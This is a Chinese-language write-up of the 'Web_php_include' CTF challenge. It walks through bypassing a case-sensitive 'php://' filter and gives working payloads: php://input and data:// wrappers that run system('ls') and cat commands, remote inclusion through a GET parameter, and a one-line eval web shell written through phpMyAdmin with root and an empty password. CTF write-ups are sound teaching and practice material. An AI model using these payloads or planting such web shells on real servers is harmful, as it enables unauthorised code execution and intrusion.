Web PHP include

一道比较简单的PHP包含漏洞题,单独写出来是因为在DALAO博客上面找到了挺多有意思的解法,一个个尝试一下。

题目

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>
​

代码审计

大概的意思就是过滤掉传入的参数$page含有的"php://"(输入输出流)。

$page=$_GET['page'];
/***定义参数$page***/
while(strstr($page, "php://")) {
    /***如果参数$page含有字符串"php://"***/
    $page=str_replace("php://", "", $page);
    /***删除字符串"php://""***/
}

绕过姿势

查看phpinfo();

phpinfo是php内置的函数,用于以网页的形式输出php的具体配置信息。

利用大小写敏感

allow_url_fopen :off/on

allow_url_include:on

使用条件

strstr()大小写敏感,用大写绕过判断PHP://

?page=PHP://input

POST传入数据,遍历根目录。

<?php system("ls")?>

或者用burp也可以。

可以得到。

然后访问flag文件。

<?php system("cat fl4gisisish3r3.php")?>

可以在注释找到flag。

data://伪协议

PHP.ini: data://协议必须双在on才能正常使用; allow_url_fopen :on allow_url_include:on php 版本大于等于 php5.2

?page=data://,<?php system("ls")?>
?page=data://text/plain,<?php system("ls")?>
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=

同理可以获得flag。

?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>

外部包含(*)

1.while函数根据page参数来判断php文件是否存在,如果存在此文件,则进行文件包含。

2.默认页面为http://127.0.0.1/index.php,设置为page值,可确保while为真。

3.利用hello参数将执行内容显示。

?page=http://127.0.0.1/index.php/?hello=&lt;show_source("fl4gisisish3r3.php");?&gt;

扫描后台文件

phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。

扫描后台,发现phpmyadmin可以访问。

登入phpmyadmin,账号为root,密码为空。

输入SQL执行语句。

select "&lt;?php eval(@$_POST[oatmeal]);?&gt;" into outfile'/tmp/test.php'

菜刀链接。

?page=/tmp/test.php

找文件目录得到flag。

data://伪协议传木马

原理跟上面一样,只不过是用data://数据流完成的

参考

http://news.migage.com/articles/%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8C%E4%B9%8Bphp_rce%E3%80%81Web_php_include_3517149_csdn.html(攻防世界之php_rce、Web_php_include)

https://phyb0x.github.io/2018/12/01/phpinfo%E4%BF%A1%E6%81%AF%E5%88%A9%E7%94%A8/(phpiofo信息利用)

https://www.cnblogs.com/Zhu013/p/11550463.html(攻防世界 Web_php_include write up)

https://chybeta.github.io/2017/10/08/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/(php文件包含漏洞)

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇